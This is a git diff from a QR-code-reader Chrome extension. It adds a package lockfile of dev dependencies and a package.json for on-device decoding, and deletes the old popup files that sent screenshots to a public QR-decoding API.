"node_modules/eslint-scope": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", + "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/espree": { + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", + "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.15.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^4.2.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/file-entry-cache": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^4.0.0" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.4" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/flatted": { + "version": "3.4.4", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.4.tgz", + "integrity": "sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==", + "dev": true, + "license": "ISC" + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/globals": { + "version": "15.15.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-15.15.0.tgz", + "integrity": "sha512-7ACyT3wmyp3I61S4fG682L0VA2RGD9otkqGJIwNUMF1SWUombIIk+af1unuDYgMm082aHYwD+mzJvv9Iu8dsgg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/is-arrayish": { + "version": "0.3.4", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.4.tgz", + "integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/js-yaml": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.1.tgz", + "integrity": "sha512-CY6crGq313MX8GkwvB7tzgp99vjQxY1++5y10/BKN/GUfHqWaOGQMNZkBvqSzsZKWk/ijwHlWzzkLulsGHhjWQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "3.9.6", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.9.6.tgz", + "integrity": "sha512-OpN0zzVdiaiAhxpuuj5efpIS4sY9j7bY6uR5mnj5yPzGkdkjNKSJeUThPb60Jw29QuAZgA4o+/iB49kFiaBX6g==", + "dev": true, + "license": "MIT", + "bin": { + "prettier": "bin/prettier.cjs" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/sharp": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.33.5.tgz", + "integrity": "sha512-haPVm1EkS9pgvHrQ/F3Xy+hgcuMV0Wm9vfIBSiwZ05k+xgb0PkBQpGsAA/oWdDobNaZTH5ppvHtzCFbnSEwHVw==", + "dev": true, + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "color": "^4.2.3", + "detect-libc": "^2.0.3", + "semver": "^7.6.3" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-darwin-arm64": "0.33.5", + "@img/sharp-darwin-x64": "0.33.5", + "@img/sharp-libvips-darwin-arm64": "1.0.4", + "@img/sharp-libvips-darwin-x64": "1.0.4", + "@img/sharp-libvips-linux-arm": "1.0.5", + "@img/sharp-libvips-linux-arm64": "1.0.4", + "@img/sharp-libvips-linux-s390x": "1.0.4", + "@img/sharp-libvips-linux-x64": "1.0.4", + "@img/sharp-libvips-linuxmusl-arm64": "1.0.4", + "@img/sharp-libvips-linuxmusl-x64": "1.0.4", + "@img/sharp-linux-arm": "0.33.5", + "@img/sharp-linux-arm64": "0.33.5", + "@img/sharp-linux-s390x": "0.33.5", + "@img/sharp-linux-x64": "0.33.5", + "@img/sharp-linuxmusl-arm64": "0.33.5", + "@img/sharp-linuxmusl-x64": "0.33.5", + "@img/sharp-wasm32": "0.33.5", + "@img/sharp-win32-ia32": "0.33.5", + "@img/sharp-win32-x64": "0.33.5" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/simple-swizzle": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.4.tgz", + "integrity": "sha512-nAu1WFPQSMNr2Zn9PGSZK9AGn4t/y97lEm+MXTtUDwfP0ksAIX4nO+6ruD9Jwut4C49SB1Ws+fbXsm/yScWOHw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-arrayish": "^0.3.1" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true, + "license": "0BSD", + "optional": true + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..9ce0274 --- /dev/null +++ b/package.json @@ -0,0 +1,30 @@ +{ + "name": "qrcode-reader-chrome-extension", + "version": "2.0.0", + "private": true, + "description": "Chrome extension that decodes QR codes from the current tab, an image file, or the clipboard — entirely on-device.", + "type": "module", + "license": "MIT", + "author": "Dev.nsko ", + "repository": { + "type": "git", + "url": "https://github.com/devnsko/qrcode-reader-chrome-extension.git" + }, + "scripts": { + "test": "node --test \"test/**/*.test.js\"", + "lint": "eslint .", + "format": "prettier --write .", + "check": "npm run lint && npm test", + "icons": "node scripts/icons.mjs", + "package": "node scripts/package.mjs" + }, + "devDependencies": { + "eslint": "^9.18.0", + "globals": "^15.14.0", + "prettier": "^3.4.2", + "sharp": "^0.33.5" + }, + "engines": { + "node": ">=20" + } +} diff --git a/popup.html b/popup.html deleted file mode 100644 index ce83952..0000000 --- a/popup.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - QR Code Scanner - - - -

QR Code Scanner

- -

Result will appear here

- - - - - diff --git a/popup.js b/popup.js deleted file mode 100644 index 6a51631..0000000 --- a/popup.js +++ /dev/null @@ -1,130 +0,0 @@ -async function captureScreen() { - return new Promise((resolve) => { - chrome.runtime.sendMessage({ action: "captureScreen" }, (response) => { - resolve(response.dataUrl); - }); - }); -} - -async function decodeQRCode(imageDataUrl) { - try { - const formData = new FormData(); - const response = await fetch(imageDataUrl); - - if (!response.ok) { - throw new Error(`Error fetching image: ${response.status}`); - } - - const blob = await response.blob(); - formData.append('file', blob); - - // Show loading spinner - document.getElementById("loading").style.display = "block"; // Show loading spinner - - const apiResponse = await fetch('https://api.qrserver.com/v1/read-qr-code/', { - method: 'POST', - body: formData - }); - - // Checking the response status - if (!apiResponse.ok) { - throw new Error(`HTTP error! status: ${apiResponse.status}`); - } - - const data = await apiResponse.json(); - - console.log("API response:", data); // Logging API response for debugging - - return data[0]?.symbol[0]?.data; // Extracting QR code data from API response - } catch (error) { - console.error("Error decoding QR code:", error); - return null; // Returning null in case of an error - } finally { - // Hide loading spinner after processing - document.getElementById("loading").style.display = "none"; // Hide loading spinner - document.getElementById("scan").disabled = false; // Re-enable the scan button - } -} - -function loadLinks() { - chrome.storage.local.get('savedLinks', (data) => { - const linkList = document.getElementById("linkList"); - linkList.innerHTML = ''; // Clear the current list - const links = data.savedLinks || []; - - links.forEach((linkData, index) => { - addLink(linkData, index, links) - }); - }); -} - -function addLink(linkData, index, links) { - // Create the link button - const linkButton = document.createElement("button"); - linkButton.className = "link-button"; // Apply the button styling - linkButton.textContent = linkData; // Display the QR code data - linkButton.onclick = () => { - // Open the link in a new tab when the button is clicked - window.open(linkData, '_blank'); - }; - - // Create the delete icon - const deleteIcon = document.createElement("button"); - deleteIcon.className = "delete-icon"; // Apply the delete icon styling - deleteIcon.textContent = "🗑️"; // Unicode character for a cross - deleteIcon.onclick = (event) => { - event.stopPropagation(); // Prevent the link button click event - // Remove the link from storage and reload links - links.splice(index, 1); // Remove link from array - saveLinks(links); // Save updated links - loadLinks(); // Reload the links - }; - - // Append the delete icon to the link button - 